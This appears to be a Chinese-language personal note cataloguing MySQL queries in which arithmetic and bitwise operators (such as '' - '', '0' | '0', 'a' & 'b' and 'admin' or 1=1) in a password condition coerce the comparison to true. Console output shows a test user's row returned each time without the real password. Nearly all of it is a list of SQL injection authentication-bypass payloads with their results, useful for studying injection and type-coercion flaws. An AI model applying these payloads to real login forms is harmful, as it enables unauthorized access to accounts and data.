sql位运算结果总汇
这是之前试的关于sql对位运算的结果等的一个总汇= =,懒得修改了,直接放上来,或许有一天会有少许的提示呢。
select * from users where username=’MarcoFly’ and password=0;
select * from users where username=’MarcoFly’ and password=’1’-‘1’;
select * from users where username=’MarcoFly’ and password=1-1;
select * from users where username=’MarcoFly’ and password=’a’-‘a’;
select * from users where username=’MarcoFly’ and password=’gragfds’-‘agfsy’;
select * from users where username=’MarcoFly’ and password=’’-‘’;
select * from users where username=’MarcoFly’ and password=’’–’’;
select * from users where username=’MarcoFly’ and password=’‘-0-‘’;
select * from users where username=’MarcoFly’ and password=’‘=0;
select * from users where username=’MarcoFly’ and password=’fdsa’ & ‘1’; (&是位运算的意思,两者不同返回0)
select * from users where username=’asgsda’=’’ and password=’hgfsaf’=’’;
select * from users where username=’MarcoFly’ and password=’admin’ or 1=1;
上述都成功返回数据
mysql> select * from users where username=’MarcoFly’ and password=’1’ | ‘1’; Empty set, 1 warning (0.00 sec)
mysql> select * from users where username=’MarcoFly’ and password=’fdsa’ & ‘fdsa’; +—-+———-+———-+——————-+ | id | username | password | email | +—-+———-+———-+——————-+ | 3 | MarcoFly | test | marcofly@test.com | +—-+———-+———-+——————-+ 1 row in set, 4 warnings (0.00 sec)
mysql> select * from users where username=’MarcoFly’ and password=’1’ & ‘1’; Empty set, 1 warning (0.00 sec)
mysql> select * from users where username=’MarcoFly’ and password=’a’ & ‘a’; +—-+———-+———-+——————-+ | id | username | password | email | +—-+———-+———-+——————-+ | 3 | MarcoFly | test | marcofly@test.com | +—-+———-+———-+——————-+ 1 row in set, 4 warnings (0.00 sec)
mysql> select * from users where username=’MarcoFly’ and password=’0’ & ‘1’; +—-+———-+———-+——————-+ | id | username | password | email | +—-+———-+———-+——————-+ | 3 | MarcoFly | test | marcofly@test.com | +—-+———-+———-+——————-+ 1 row in set, 2 warnings (0.00 sec)
mysql> select * from users where username=’MarcoFly’ and password=’a’ & ‘1’; +—-+———-+———-+——————-+ | id | username | password | email | +—-+———-+———-+——————-+ | 3 | MarcoFly | test | marcofly@test.com | +—-+———-+———-+——————-+ 1 row in set, 3 warnings (0.00 sec)
mysql> select * from users where username=’MarcoFly’ and password=’a’ & ‘b’; +—-+———-+———-+——————-+ | id | username | password | email | +—-+———-+———-+——————-+ | 3 | MarcoFly | test | marcofly@test.com | +—-+———-+———-+——————-+ 1 row in set, 4 warnings (0.00 sec)
mysql> select * from users where username=’MarcoFly’ and password=’fdsa’ | ‘a’; +—-+———-+———-+——————-+ | id | username | password | email | +—-+———-+———-+——————-+ | 3 | MarcoFly | test | marcofly@test.com | +—-+———-+———-+——————-+ 1 row in set, 4 warnings (0.00 sec)
mysql> select * from users where username=’MarcoFly’ and password=0|0; +—-+———-+———-+——————-+ | id | username | password | email | +—-+———-+———-+——————-+ | 3 | MarcoFly | test | marcofly@test.com | +—-+———-+———-+——————-+ 1 row in set, 2 warnings (0.00 sec)
mysql> select * from users where username=’MarcoFly’ and password=’0’ | ‘0’; +—-+———-+———-+——————-+ | id | username | password | email | +—-+———-+———-+——————-+ | 3 | MarcoFly | test | marcofly@test.com | +—-+———-+———-+——————-+ 1 row in set, 2 warnings (0.00 sec)
mysql> select * from users where username=’MarcoFly’ and password=’0’ ^ ‘0’; +—-+———-+———-+——————-+ | id | username | password | email | +—-+———-+———-+——————-+ | 3 | MarcoFly | test | marcofly@test.com | +—-+———-+———-+——————-+ 1 row in set, 2 warnings (0.00 sec)